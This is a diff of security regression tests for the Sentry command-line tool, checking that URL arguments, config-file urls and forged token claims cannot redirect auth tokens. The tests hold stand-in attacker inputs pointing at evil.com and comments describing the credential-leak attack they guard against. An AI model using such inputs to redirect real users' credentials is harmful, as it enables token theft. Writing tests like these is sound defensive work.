users + * with access to multiple Sentry instances against routing one + * instance's token to another. Claim is unsigned (see token-claims.ts), + * so this catches honest misconfigurations more than malicious attacks. + */ + +import { afterEach, beforeEach, describe, expect, test } from "bun:test"; +import { + extractFetchUrl, + mintSntrysToken, + resetHostScopingState, + useEnvSandbox, +} from "../../helpers.js"; + +const ENV_KEYS = [ + "SENTRY_AUTH_TOKEN", + "SENTRY_TOKEN", + "SENTRY_HOST", + "SENTRY_URL", +] as const; + +describe("CVE defense-in-depth: sntrys_ claim vs request mismatch", () => { + useEnvSandbox(ENV_KEYS); + + let fetchCalls: { url: string; auth: string | null }[]; + let originalFetch: typeof globalThis.fetch; + + beforeEach(async () => { + await resetHostScopingState(); + const { + resetAuthTokenCache, + resetAuthRowCache, + resetIdentityFingerprintCache, + } = await import("../../../src/lib/db/auth.js"); + // Clear the GET response cache between tests so a cached 200 from + // a prior test's identical URL doesn't short-circuit the fetch + // wrapper (which would leave `fetchCalls` empty). + const { clearResponseCache } = await import( + "../../../src/lib/response-cache.js" + ); + resetAuthTokenCache(); + resetAuthRowCache(); + resetIdentityFingerprintCache(); + await clearResponseCache(); + + fetchCalls = []; + originalFetch = globalThis.fetch; + globalThis.fetch = (async ( + input: RequestInfo | URL, + init?: RequestInit + ) => { + const headers = new Headers( + init?.headers ?? (input instanceof Request ? input.headers : undefined) + ); + fetchCalls.push({ + url: extractFetchUrl(input), + auth: headers.get("Authorization"), + }); + return new Response("{}", { status: 200 }); + }) as typeof fetch; + }); + + afterEach(async () => { + await resetHostScopingState(); + globalThis.fetch = originalFetch; + }); + + test("token whose claim says A is refused when env routing says B", async () => { + // Token issued by sentry.firsthost.com (claim). + // Env says SENTRY_HOST = sentry.secondhost.com (user's shell — trusted). + process.env.SENTRY_AUTH_TOKEN = mintSntrysToken({ + iat: 1_700_000_000, + url: "https://sentry.firsthost.com", + org: "x", + }); + process.env.SENTRY_HOST = "https://sentry.secondhost.com"; + const { captureEnvTokenHost } = await import( + "../../../src/lib/env-token-host.js" + ); + captureEnvTokenHost(); + + // Direct request to sentry.secondhost.com (matches env scope but NOT the claim). + const { apiRequestToRegion } = await import( + "../../../src/lib/api/infrastructure.js" + ); + await expect( + apiRequestToRegion("https://sentry.secondhost.com", "/organizations/", { + method: "GET", + }) + ).rejects.toThrow(/embedded claim|sentry\.firsthost\.com/i); + + // Token never hit the wire. + const leaked = fetchCalls.filter((c) => + c.auth?.includes("secret-tail-for-test") + ); + expect(leaked).toEqual([]); + }); + + test("token whose claim matches the request proceeds normally", async () => { + process.env.SENTRY_AUTH_TOKEN = mintSntrysToken({ + iat: 1_700_000_000, + url: "https://sentry.acme.com", + org: "x", + }); + process.env.SENTRY_HOST = "https://sentry.acme.com"; + const { captureEnvTokenHost } = await import( + "../../../src/lib/env-token-host.js" + ); + captureEnvTokenHost(); + + // Request to the host the claim agrees with → bearer attaches. + const { apiRequestToRegion } = await import( + "../../../src/lib/api/infrastructure.js" + ); + await apiRequestToRegion("https://sentry.acme.com", "/organizations/", { + method: "GET", + }); + + expect(fetchCalls).toHaveLength(1); + expect(fetchCalls[0]?.auth).toContain("Bearer "); + }); + + test("self-hosted multi-region: claim check honors region URL extension", async () => { + // Regression: previously the claim check used raw `isHostTrusted`, + // which only honors exact-origin + SaaS equivalence. For self-hosted + // multi-region setups, the claim's url points at the control silo + // but fan-out goes to regional silos discovered via + // `/users/me/regions/`. The fix uses `isHostTrustedForClaim` which + // also consults the region-URL extension. + process.env.SENTRY_AUTH_TOKEN = mintSntrysToken({ + iat: 1_700_000_000, + url: "https://sentry.acme.com", + org: "x", + }); + process.env.SENTRY_HOST = "https://sentry.acme.com"; + const { captureEnvTokenHost } = await import( + "../../../src/lib/env-token-host.js" + ); + captureEnvTokenHost(); + + // Simulate: control silo's /users/me/regions/ told us about a + // regional silo at https://us.sentry.acme.com. + const { registerTrustedRegionUrls } = await import( + "../../../src/lib/token-host.js" + ); + registerTrustedRegionUrls(["https://us.sentry.acme.com"]); + + // Request to the regional silo (NOT the claim's url) must succeed + // because the region URL is part of the same trust class. + const { apiRequestToRegion } = await import( + "../../../src/lib/api/infrastructure.js" + ); + await apiRequestToRegion("https://us.sentry.acme.com", "/organizations/", { + method: "GET", + }); + + // Request fired with the bearer token attached. Cleanup of the + // in-process region allow-list happens in afterEach. + expect(fetchCalls).toHaveLength(1); + expect(fetchCalls[0]?.auth).toContain("Bearer "); + }); + + test("opaque (non-sntrys_) tokens are not affected by claim check", async () => { + // A `sntryu_` user-auth token has no claim — the claim check is a + // no-op. The existing host-scoping check is the only enforcement. + process.env.SENTRY_AUTH_TOKEN = "sntryu_opaqueusertoken1234567890abcdef"; + process.env.SENTRY_HOST = "https://sentry.acme.com"; + const { captureEnvTokenHost } = await import( + "../../../src/lib/env-token-host.js" + ); + captureEnvTokenHost(); + + const { apiRequestToRegion } = await import( + "../../../src/lib/api/infrastructure.js" + ); + await apiRequestToRegion("https://sentry.acme.com", "/organizations/", { + method: "GET", + }); + + expect(fetchCalls).toHaveLength(1); + expect(fetchCalls[0]?.auth).toContain("Bearer "); + }); +}); + +describe("UX path: env-token-host falls back to sntrys_ claim url", () => { + // These tests check the captureEnvTokenHost snapshot — no fetch + // mocking needed. + useEnvSandbox(ENV_KEYS); + + beforeEach(resetHostScopingState); + afterEach(resetHostScopingState); + + test("self-hosted user with sntrys_ token but no SENTRY_HOST → snapshot uses claim", async () => { + // User pasted a sntrys_ token from their self-hosted UI but didn't + // also export SENTRY_HOST. Without the claim fallback, the snapshot + // would default to SaaS and every command would trip the host + // guard. With the claim fallback, the snapshot picks up the + // self-hosted url from the token itself. + process.env.SENTRY_AUTH_TOKEN = mintSntrysToken({ + iat: 1_700_000_000, + url: "https://sentry.selfhosted.example.com", + org: "x", + }); + // No SENTRY_HOST, no SENTRY_URL set. + + const { captureEnvTokenHost, getEnvTokenHost } = await import( + "../../../src/lib/env-token-host.js" + ); + captureEnvTokenHost(); + + expect(getEnvTokenHost()).toBe("https://sentry.selfhosted.example.com"); + }); + + test("sntrys_ claim wins over SENTRY_HOST (immune to env injection)", async () => { + // The claim is authoritative for sntrys_ tokens. Even when + // SENTRY_HOST is set (legitimately or via CI env injection), the + // snapshot uses the claim — it's the only value the token's + // issuing server can vouch for. + process.env.SENTRY_AUTH_TOKEN = mintSntrysToken({ + iat: 1_700_000_000, + url: "https://sentry.firsthost.com", + org: "x", + }); + process.env.SENTRY_HOST = "https://sentry.secondhost.com"; + + const { captureEnvTokenHost, getEnvTokenHost } = await import( + "../../../src/lib/env-token-host.js" + ); + captureEnvTokenHost(); + + expect(getEnvTokenHost()).toBe("https://sentry.firsthost.com"); + }); + + test("non-sntrys_ token + no SENTRY_HOST → snapshot falls back to SaaS default", async () => { + process.env.SENTRY_AUTH_TOKEN = "sntryu_opaque-user-token"; + // No SENTRY_HOST. + + const { captureEnvTokenHost, getEnvTokenHost } = await import( + "../../../src/lib/env-token-host.js" + ); + captureEnvTokenHost(); + + expect(getEnvTokenHost()).toBe("https://sentry.io"); + }); + + test("forged claim url is captured (claim is NOT a security primitive)", async () => { + // Documents the trust contract: the snapshot picks up whatever the + // claim says, even if forged. This is acceptable because: + // - For a legitimate token, the url is authoritative. + // - For a forged token (user pasted attacker's token), the user + // has already authorized the attacker server — out of threat + // model. + process.env.SENTRY_AUTH_TOKEN = mintSntrysToken({ + iat: 1_700_000_000, + url: "https://evil.com", + org: "victim", + }); + + const { captureEnvTokenHost, getEnvTokenHost } = await import( + "../../../src/lib/env-token-host.js" + ); + captureEnvTokenHost(); + + // Yes, the snapshot is evil.com — because that's what the user's + // token says. If the user trusts the token they pasted, they're + // trusting that source. The CLI's job is to prevent OTHER inputs + // (rc files, URL args) from redirecting credentials AWAY from the + // token's host, not to second-guess the token itself. + expect(getEnvTokenHost()).toBe("https://evil.com"); + }); +}); diff --git a/test/lib/security/url-arg-poison.test.ts b/test/lib/security/url-arg-poison.test.ts new file mode 100644 index 000000000..d4fc6232b --- /dev/null +++ b/test/lib/security/url-arg-poison.test.ts @@ -0,0 +1,98 @@ +/** + * CVE regression: URL argument attack. + * + * Attack: `sentry issue view https://evil.com/organizations/x/issues/1/` + * previously wrote `env.SENTRY_HOST=https://evil.com` with no validation, + * causing every subsequent authenticated fetch + OAuth refresh to send + * credentials to the attacker. + * + * Fix (this PR): `applySentryUrlContext` rejects non-SaaS URLs that don't + * match the active token's scoped host. Only `sentry auth login --url ` + * can establish trust for a new host. + */ + +import { afterEach, beforeEach, describe, expect, test } from "bun:test"; +import { parsePositionalArgs } from "../../../src/commands/event/view.js"; +import { + parseIssueArg, + parseOrgProjectArg, +} from "../../../src/lib/arg-parsing.js"; +import { resetEnvTokenHostForTesting } from "../../../src/lib/env-token-host.js"; +import { useEnvSandbox } from "../../helpers.js"; + +const ENV_KEYS = ["SENTRY_HOST", "SENTRY_URL"] as const; + +describe("CVE: URL argument credential exfiltration", () => { + useEnvSandbox(ENV_KEYS); + + beforeEach(resetEnvTokenHostForTesting); + afterEach(resetEnvTokenHostForTesting); + + test("parseIssueArg with attacker URL throws before env is poisoned (SaaS-scoped token)", () => { + // preload sets SENTRY_AUTH_TOKEN; env-token defaults to SaaS. + expect(() => + parseIssueArg("https://evil.com/organizations/target-org/issues/12345/") + ).toThrow(/does not match|sentry auth login --url/); + + // Env untouched — no routing poison. + expect(process.env.SENTRY_HOST).toBeUndefined(); + expect(process.env.SENTRY_URL).toBeUndefined(); + }); + + test("parseOrgProjectArg with attacker URL throws before env is poisoned", () => { + expect(() => + parseOrgProjectArg( + "https://evil.com/organizations/target-org/issues/12345/" + ) + ).toThrow(/does not match|sentry auth login --url/); + + expect(process.env.SENTRY_HOST).toBeUndefined(); + expect(process.env.SENTRY_URL).toBeUndefined(); + }); + + test("event view with attacker URL throws before env is poisoned", () => { + expect(() => + parsePositionalArgs([ + "https://evil.com/organizations/acme/issues/999/events/deadbeef/", + ]) + ).toThrow(/does not match|sentry auth login --url/); + + expect(process.env.SENTRY_HOST).toBeUndefined(); + expect(process.env.SENTRY_URL).toBeUndefined(); + }); + + test("share URL from attacker host throws (CVE #3: custom-headers leak)", () => { + // The share-URL variant of the CVE. parseIssueArg still runs + // applySentryUrlContext, which throws before getSharedIssue is invoked. + expect(() => + parseIssueArg( + "https://evil.com/share/issue/deadbeef12345678deadbeef12345678/" + ) + ).toThrow(/does not match|sentry auth login --url/); + + expect(process.env.SENTRY_HOST).toBeUndefined(); + expect(process.env.SENTRY_URL).toBeUndefined(); + }); + + test("SaaS URL arg proceeds even when SENTRY_HOST is currently set to self-hosted", () => { + // SaaS URLs always proceed — they're part of the SaaS trust class + // when the active token is SaaS-scoped, and they clear env to route + // correctly. + process.env.SENTRY_HOST = "https://old-self-hosted.example.com"; + process.env.SENTRY_URL = "https://old-self-hosted.example.com"; + parseIssueArg("https://sentry.io/organizations/acme/issues/1234/"); + // env cleared so default SaaS routing takes over + expect(process.env.SENTRY_HOST).toBeUndefined(); + expect(process.env.SENTRY_URL).toBeUndefined(); + }); + + test("matching self-hosted URL arg is honored when token scoped to that host", () => { + process.env.SENTRY_HOST = "https://sentry.example.com"; + resetEnvTokenHostForTesting(); + parseOrgProjectArg( + "https://sentry.example.com/organizations/acme/issues/1/" + ); + expect(process.env.SENTRY_HOST).toBe("https://sentry.example.com"); + expect(process.env.SENTRY_URL).toBe("https://sentry.example.com"); + }); +}); diff --git a/test/lib/sentry-url-parser.test.ts b/test/lib/sentry-url-parser.test.ts index 3e688d77b..b9400444a 100644 --- a/test/lib/sentry-url-parser.test.ts +++ b/test/lib/sentry-url-parser.test.ts @@ -382,17 +382,32 @@ describe("parseSentryUrl", () => { }); describe("applySentryUrlContext", () => { + // Host-scoping: applySentryUrlContext honors non-SaaS URLs ONLY when the + // destination matches the active token's scoped host (with SaaS + // equivalence). Mismatches throw CliError so credentials can't leak to an + // attacker-chosen host. + // + // The test preload (test/preload.ts) sets `SENTRY_AUTH_TOKEN` scoped to + // SaaS by default. To simulate a self-hosted-authenticated user, set + // `SENTRY_HOST` BEFORE the module loads (which pins the env-token's scope) + // and use `resetEnvTokenHostForTesting()` between cases. let originalSentryUrl: string | undefined; let originalSentryHost: string | undefined; - beforeEach(() => { + beforeEach(async () => { originalSentryUrl = process.env.SENTRY_URL; originalSentryHost = process.env.SENTRY_HOST; delete process.env.SENTRY_URL; delete process.env.SENTRY_HOST; + // Reset env-token-host capture so each test can re-pin based on the + // SENTRY_HOST they set (or leave unset → SaaS default). + const { resetEnvTokenHostForTesting } = await import( + "../../src/lib/env-token-host.js" + ); + resetEnvTokenHostForTesting(); }); - afterEach(() => { + afterEach(async () => { if (originalSentryUrl !== undefined) { process.env.SENTRY_URL = originalSentryUrl; } else { @@ -403,14 +418,31 @@ describe("applySentryUrlContext", () => { } else { delete process.env.SENTRY_HOST; } + const { resetEnvTokenHostForTesting } = await import( + "../../src/lib/env-token-host.js" + ); + resetEnvTokenHostForTesting(); }); - test("sets both SENTRY_HOST and SENTRY_URL for self-hosted instance", () => { + test("writes env when non-SaaS URL matches token-scoped host", () => { + // Pin env-token to the self-hosted instance via SENTRY_HOST before + // calling captureEnvTokenHost() (implicit on first getEnvTokenHost call). + process.env.SENTRY_HOST = "https://sentry.example.com"; applySentryUrlContext("https://sentry.example.com"); expect(process.env.SENTRY_HOST).toBe("https://sentry.example.com"); expect(process.env.SENTRY_URL).toBe("https://sentry.example.com"); }); + test("throws CliError for non-SaaS URL that does not match token host", () => { + // Env-token defaults to SaaS (no SENTRY_HOST set), so a self-hosted URL + // is a host-scope mismatch → CliError, env untouched. + expect(() => applySentryUrlContext("https://sentry.example.com")).toThrow( + /does not match|sentry auth login --url/ + ); + expect(process.env.SENTRY_HOST).toBeUndefined(); + expect(process.env.SENTRY_URL).toBeUndefined(); + }); + test("does not set SENTRY_HOST or SENTRY_URL for SaaS (sentry.io)", () => { applySentryUrlContext("https://sentry.io"); expect(process.env.SENTRY_HOST).toBeUndefined(); @@ -423,15 +455,22 @@ describe("applySentryUrlContext", () => { expect(process.env.SENTRY_URL).toBeUndefined(); }); - test("overrides existing env vars (parsed URL takes precedence)", () => { + test("throws on mismatch even when SENTRY_HOST is pre-set to a different host", () => { + // Token scoped to existing.example.com; URL-arg points at sentry.other.com. + // Primary guard refuses to re-scope by writing the new host — only + // `sentry auth login --url` may change scope. process.env.SENTRY_HOST = "https://existing.example.com"; process.env.SENTRY_URL = "https://existing.example.com"; - applySentryUrlContext("https://sentry.other.com"); - expect(process.env.SENTRY_HOST).toBe("https://sentry.other.com"); - expect(process.env.SENTRY_URL).toBe("https://sentry.other.com"); + expect(() => applySentryUrlContext("https://sentry.other.com")).toThrow( + /does not match|sentry auth login --url/ + ); + // Existing env left intact — throw happens before any write. + expect(process.env.SENTRY_HOST).toBe("https://existing.example.com"); + expect(process.env.SENTRY_URL).toBe("https://existing.example.com"); }); - test("sets both env vars for self-hosted with port", () => { + test("writes env for self-hosted URL with port when it matches token host", () => { + process.env.SENTRY_HOST = "https://sentry.acme.internal:9000"; applySentryUrlContext("https://sentry.acme.internal:9000"); expect(process.env.SENTRY_HOST).toBe("https://sentry.acme.internal:9000"); expect(process.env.SENTRY_URL).toBe("https://sentry.acme.internal:9000"); diff --git a/test/lib/sentryclirc.test.ts b/test/lib/sentryclirc.test.ts index 4a3a17f72..8fb9364c7 100644 --- a/test/lib/sentryclirc.test.ts +++ b/test/lib/sentryclirc.test.ts @@ -9,6 +9,7 @@ import { afterEach, beforeEach, describe, expect, test } from "bun:test"; import { mkdirSync, writeFileSync } from "node:fs"; import { join } from "node:path"; import { closeDatabase } from "../../src/lib/db/index.js"; +import { resetEnvTokenHostForTesting } from "../../src/lib/env-token-host.js"; import { applySentryCliRcEnvShim, CONFIG_FILENAME, @@ -38,6 +39,7 @@ beforeEach(async () => { }); // Point config dir at the test dir so getConfigDir() returns a predictable path process.env.SENTRY_CONFIG_DIR = testDir; + resetEnvTokenHostForTesting(); }); afterEach(async () => { @@ -54,6 +56,7 @@ afterEach(async () => { delete process.env[key]; } } + resetEnvTokenHostForTesting(); await cleanupTestDir(testDir); }); @@ -260,13 +263,42 @@ describe("applySentryCliRcEnvShim", () => { expect(readEnv("SENTRY_TOKEN")).toBe("env-fallback-token"); }); - test("sets SENTRY_URL when neither SENTRY_HOST nor SENTRY_URL is set", async () => { + test("sets SENTRY_URL for SaaS rc url (no credential risk, no scoping check)", async () => { delete process.env.SENTRY_HOST; delete process.env.SENTRY_URL; - writeRcFile(testDir, "[defaults]\nurl = https://sentry.example.com\n"); + writeRcFile(testDir, "[defaults]\nurl = https://sentry.io\n"); + + await applySentryCliRcEnvShim(testDir); + expect(readEnv("SENTRY_URL")).toBe("https://sentry.io"); + }); + + test("normalizes bare-hostname rc url before SaaS / scope checks", async () => { + // Regression: `url = sentry.io` (no scheme) used to throw inside + // `new URL(...)` deep in the SaaS check. The shim now normalizes + // the rc url through `normalizeUrl` first so bare hostnames are + // accepted as the equivalent `https://sentry.io`. + delete process.env.SENTRY_HOST; + delete process.env.SENTRY_URL; + writeRcFile(testDir, "[defaults]\nurl = sentry.io\n"); await applySentryCliRcEnvShim(testDir); - expect(readEnv("SENTRY_URL")).toBe("https://sentry.example.com"); + expect(readEnv("SENTRY_URL")).toBe("https://sentry.io"); + }); + + test("throws CliError when non-SaaS rc url does not match active token's scoped host", async () => { + // Env-token defaults to SaaS (no SENTRY_HOST set at capture time). + // Any non-SaaS rc url is therefore a mismatch → CliError, env untouched. + // This closes the CVE where a committed .sentryclirc could redirect + // requests + token to an attacker host. + delete process.env.SENTRY_HOST; + delete process.env.SENTRY_URL; + writeRcFile(testDir, "[defaults]\nurl = https://evil.example.com\n"); + + await expect(applySentryCliRcEnvShim(testDir)).rejects.toThrow( + /does not match|sentry auth login --url/ + ); + expect(readEnv("SENTRY_URL")).toBeUndefined(); + expect(readEnv("SENTRY_HOST")).toBeUndefined(); }); test("does not set SENTRY_URL when SENTRY_HOST is set", async () => { diff --git a/test/lib/token-claims.property.test.ts b/test/lib/token-claims.property.test.ts new file mode 100644 index 000000000..9171f242c --- /dev/null +++ b/test/lib/token-claims.property.test.ts @@ -0,0 +1,107 @@ +/** + * Property-based tests for `parseSntrysClaim`. + * + * Invariants under random input: + * + * 1. `parseSntrysClaim` never throws. + * 2. Round-trip: a token minted with a given url+iat parses back to the + * same url. + * 3. Forged claims parse identically to legitimate ones (this is by + * design — see `token-claims.ts` JSDoc — and the property documents + * that the parser is NOT a security primitive). + * 4. Adversarial inputs (random strings, near-prefix matches, malformed + * base64, JSON injection attempts) always return `undefined` instead + * of a partially-trusted result. + */ + +import { describe, expect, test } from "bun:test"; +import { + constantFrom, + assert as fcAssert, + property, + string, + stringMatching, + tuple, +} from "fast-check"; +import { parseSntrysClaim } from "../../src/lib/token-claims.js"; +import { mintSntrysToken } from "../helpers.js"; +import { DEFAULT_NUM_RUNS } from "../model-based/helpers.js"; + +const mint = mintSntrysToken; + +/** Arbitrary URL-shaped string (https://) */ +const httpsUrlArb = stringMatching( + /^[a-z][a-z0-9-]{0,30}(\.[a-z][a-z0-9-]{0,30}){0,4}$/ +).map((host) => `https://${host}`); + +describe("property: parseSntrysClaim never throws on adversarial input", () => { + test("any string input → returns either undefined or a valid claim", () => { + fcAssert( + property(string({ maxLength: 4000 }), (input) => { + const result = parseSntrysClaim(input); + if (result !== undefined) { + // If it parsed, the claim must have a non-empty string url + expect(typeof result.url).toBe("string"); + expect(result.url.length).toBeGreaterThan(0); + } + }), + { numRuns: DEFAULT_NUM_RUNS * 4 } + ); + }); + + test("strings starting with sntrys_ but with weird content → never throws", () => { + const sntrysPrefixed = string({ maxLength: 1000 }).map( + (rest) => `sntrys_${rest}` + ); + fcAssert( + property(sntrysPrefixed, (input) => { + expect(() => parseSntrysClaim(input)).not.toThrow(); + }), + { numRuns: DEFAULT_NUM_RUNS * 4 } + ); + }); +}); + +describe("property: round-trip — minted tokens parse back to the same url", () => { + test("any https URL minted into a token parses back identically", () => { + fcAssert( + property(httpsUrlArb, (url) => { + const token = mint({ iat: 1_700_000_000, url, org: "x" }); + expect(parseSntrysClaim(token)?.url).toBe(url); + }), + { numRuns: DEFAULT_NUM_RUNS } + ); + }); + + test("any iat > 0 produces a parseable claim", () => { + fcAssert( + property( + tuple(constantFrom(1, 100, 1_700_000_000, Date.now()), httpsUrlArb), + ([iat, url]) => { + const token = mint({ iat, url, org: "x" }); + expect(parseSntrysClaim(token)).toBeDefined(); + } + ), + { numRuns: DEFAULT_NUM_RUNS } + ); + }); +}); + +describe("property: forged claims parse identically (NOT a security signal)", () => { + test("any url an attacker chooses parses back as that url", () => { + // This property documents that parseSntrysClaim does NOT validate + // claim authenticity. Callers MUST treat the result as a hint, not + // a trust source. See `src/lib/token-claims.ts` for the contract. + fcAssert( + property(httpsUrlArb, (forgedUrl) => { + const forged = mint({ + iat: 1_700_000_000, + url: forgedUrl, + org: "anything", + }); + expect(parseSntrysClaim(forged)?.url).toBe(forgedUrl); + }), + { numRuns: DEFAULT_NUM_RUNS } + ); + }); +}); diff --git a/test/lib/token-claims.test.ts b/test/lib/token-claims.test.ts new file mode 100644 index 000000000..997603276 --- /dev/null +++ b/test/lib/token-claims.test.ts @@ -0,0 +1,201 @@ +/** + * Unit tests for `sntrys_` org-auth-token claim parsing. + * + * Mirrors the server's token format from + * `getsentry/sentry/src/sentry/utils/security/orgauthtoken_token.py`: + * + * sntrys__ + * + * The middle chunk is plaintext base64 (NOT base64url), and the trailing + * chunk is opaque entropy. The CLI's parser must match the server's + * `parse_token` semantics (strict prefix, exactly 2 underscores, valid + * base64 → valid UTF-8 → valid JSON object → truthy `iat`). + */ + +import { describe, expect, test } from "bun:test"; +import { + getSntrysClaimUrl, + parseSntrysClaim, +} from "../../src/lib/token-claims.js"; +import { mintSntrysToken } from "../helpers.js"; + +describe("parseSntrysClaim", () => { + test("extracts url + region_url from a well-formed token", () => { + const token = mintSntrysToken({ + iat: 1_700_000_000, + url: "https://sentry.acme.com", + region_url: "https://us.sentry.acme.com", + org: "acme", + }); + expect(parseSntrysClaim(token)).toEqual({ + url: "https://sentry.acme.com", + regionUrl: "https://us.sentry.acme.com", + }); + }); + + test("returns just url when region_url is absent", () => { + const token = mintSntrysToken({ + iat: 1_700_000_000, + url: "https://sentry.acme.com", + org: "acme", + }); + expect(parseSntrysClaim(token)).toEqual({ + url: "https://sentry.acme.com", + regionUrl: undefined, + }); + }); + + test("getSntrysClaimUrl convenience returns just the url", () => { + const token = mintSntrysToken({ + iat: 1_700_000_000, + url: "https://sentry.io", + org: "x", + }); + expect(getSntrysClaimUrl(token)).toBe("https://sentry.io"); + }); + + test("returns undefined for non-sntrys_ tokens", () => { + expect(parseSntrysClaim("sntryu_abcdef0123456789")).toBeUndefined(); + expect(parseSntrysClaim("sntrya_abcdef0123456789")).toBeUndefined(); + expect(parseSntrysClaim("sntryi_abcdef0123456789")).toBeUndefined(); + // OAuth-style opaque token + expect(parseSntrysClaim("abc123def456")).toBeUndefined(); + }); + + test("returns undefined for undefined/empty input", () => { + expect(parseSntrysClaim(undefined)).toBeUndefined(); + expect(parseSntrysClaim("")).toBeUndefined(); + }); + + test("returns undefined for tokens with wrong underscore count", () => { + // 1 underscore (just the prefix) + expect(parseSntrysClaim("sntrys_aGVsbG8=")).toBeUndefined(); + // 3 underscores + expect(parseSntrysClaim("sntrys_test_token_extra")).toBeUndefined(); + // 0 underscores after prefix strip — caught by prefix check + expect(parseSntrysClaim("sntrysno-underscore")).toBeUndefined(); + }); + + test("returns undefined when payload chunk is not valid base64", () => { + // `not_valid_base64` contains underscore which would actually break + // the underscore count, so this is the format the test preload uses: + expect( + parseSntrysClaim("sntrys_test-token-for-unit-tests_000000") + ).toBeUndefined(); + // Pure invalid base64 character set in middle (with right underscore count) + expect(parseSntrysClaim("sntrys_!!!notbase64!!!_secret")).toBeUndefined(); + }); + + test("returns undefined when payload is valid base64 but not JSON", () => { + // base64 of "hello world" — valid base64 + valid UTF-8 but not JSON + const b64 = Buffer.from("hello world", "utf8").toString("base64"); + expect(parseSntrysClaim(`sntrys_${b64}_secret`)).toBeUndefined(); + }); + + test("returns undefined when JSON is valid but not an object", () => { + const arr = Buffer.from("[1,2,3]", "utf8").toString("base64"); + const num = Buffer.from("42", "utf8").toString("base64"); + const str = Buffer.from('"hello"', "utf8").toString("base64"); + const nul = Buffer.from("null", "utf8").toString("base64"); + expect(parseSntrysClaim(`sntrys_${arr}_secret`)).toBeUndefined(); + expect(parseSntrysClaim(`sntrys_${num}_secret`)).toBeUndefined(); + expect(parseSntrysClaim(`sntrys_${str}_secret`)).toBeUndefined(); + expect(parseSntrysClaim(`sntrys_${nul}_secret`)).toBeUndefined(); + }); + + test("returns undefined when payload has no iat field (matches server semantics)", () => { + const token = mintSntrysToken({ + url: "https://sentry.acme.com", + org: "acme", + // no iat + }); + expect(parseSntrysClaim(token)).toBeUndefined(); + }); + + test("returns undefined when payload has falsy iat", () => { + const token = mintSntrysToken({ + iat: 0, + url: "https://sentry.acme.com", + org: "acme", + }); + expect(parseSntrysClaim(token)).toBeUndefined(); + }); + + test("returns undefined when payload has no url field", () => { + const token = mintSntrysToken({ + iat: 1_700_000_000, + org: "acme", + // no url + }); + expect(parseSntrysClaim(token)).toBeUndefined(); + }); + + test("returns undefined when url is not a string", () => { + const token = mintSntrysToken({ + iat: 1_700_000_000, + url: 12_345, + org: "acme", + }); + expect(parseSntrysClaim(token)).toBeUndefined(); + }); + + test("returns undefined when url is empty string", () => { + const token = mintSntrysToken({ + iat: 1_700_000_000, + url: "", + org: "acme", + }); + expect(parseSntrysClaim(token)).toBeUndefined(); + }); + + test("rejects oversized tokens without parsing (DoS protection)", () => { + // 4 KB token — well over the 2 KB cap. Should not even attempt + // base64/JSON parsing. + const big = "a".repeat(4096); + expect(parseSntrysClaim(`sntrys_${big}_x`)).toBeUndefined(); + }); + + test("ignores non-string region_url (treats as absent)", () => { + const token = mintSntrysToken({ + iat: 1_700_000_000, + url: "https://sentry.io", + region_url: 42, + org: "x", + }); + expect(parseSntrysClaim(token)?.regionUrl).toBeUndefined(); + }); + + test("does NOT throw on adversarial inputs", () => { + // Catch-all: any input must either return undefined or a valid + // claim object — never throw. + const adversarial = [ + "sntrys___", + "sntrys__", + "sntrys_💥_secret", + "sntrys_\u0000_secret", + "sntrys_/=+_secret", + // Base64 of `{` — incomplete JSON + `sntrys_${Buffer.from("{", "utf8").toString("base64")}_secret`, + ]; + for (const input of adversarial) { + expect(() => parseSntrysClaim(input)).not.toThrow(); + } + }); + + test("treats forged claim same as legitimate (we don't verify signatures)", () => { + // CRITICAL: this test documents that parseSntrysClaim does NOT + // validate the claim's authenticity. An attacker can mint a token + // with any url they want and parseSntrysClaim returns it. Callers + // must NEVER use the claim as a primary security signal — see + // `src/lib/token-claims.ts` JSDoc. + const forged = mintSntrysToken({ + iat: 1_700_000_000, + url: "https://evil.com", + org: "victim", + }); + expect(parseSntrysClaim(forged)).toEqual({ + url: "https://evil.com", + regionUrl: undefined, + }); + }); +}); diff --git a/test/lib/token-host.property.test.ts b/test/lib/token-host.property.test.ts new file mode 100644 index 000000000..5d54f21be --- /dev/null +++ b/test/lib/token-host.property.test.ts @@ -0,0 +1,192 @@ +/** + * Property-based tests for host-scoping trust model. + * + * Verifies invariants that must hold for ANY input: + * - Trust is symmetric within the SaaS equivalence class. + * - Non-SaaS hosts only match exact origin (no subdomain suffix tricks). + * - Normalization is idempotent. + * - Requests with unparseable URLs are never trusted. + * + * Unit tests for specific edge cases live in test/lib/token-host.test.ts. + */ + +import { describe, expect, test } from "bun:test"; +import { + constantFrom, + assert as fcAssert, + property, + stringMatching, + tuple, +} from "fast-check"; +import { isHostTrusted, normalizeOrigin } from "../../src/lib/token-host.js"; +import { DEFAULT_NUM_RUNS } from "../model-based/helpers.js"; + +// Arbitraries + +/** Host chars: lowercase alphanumerics + hyphen */ +const HOST_LABEL = stringMatching(/^[a-z0-9][a-z0-9-]{0,20}$/); + +/** Two-label lowercase host (e.g. "example.com") */ +const simpleHostArb = tuple(HOST_LABEL, HOST_LABEL).map( + ([a, b]) => `${a}.${b}` +); + +/** Non-SaaS host: never ends with `sentry.io` */ +const nonSaasHostArb = simpleHostArb.filter( + (h) => h !== "sentry.io" && !h.endsWith(".sentry.io") +); + +/** SaaS host: any subdomain of sentry.io (including bare `sentry.io`) */ +const saasSubdomainArb = HOST_LABEL.map((label) => `${label}.sentry.io`); + +/** Protocol */ +const protoArb = constantFrom("http", "https"); + +describe("property: normalizeOrigin is idempotent", () => { + test("normalize(normalize(x)) === normalize(x)", () => { + fcAssert( + property(protoArb, simpleHostArb, (proto, host) => { + const url = `${proto}://${host}/some/path?q=1`; + const once = normalizeOrigin(url); + if (once === undefined) { + return; + } + expect(normalizeOrigin(once)).toBe(once); + }), + { numRuns: DEFAULT_NUM_RUNS } + ); + }); +}); + +describe("property: SaaS equivalence is reflexive + symmetric", () => { + test("any sentry.io subdomain matches any other sentry.io subdomain", () => { + fcAssert( + property(saasSubdomainArb, saasSubdomainArb, (a, b) => { + // Both a and b are https://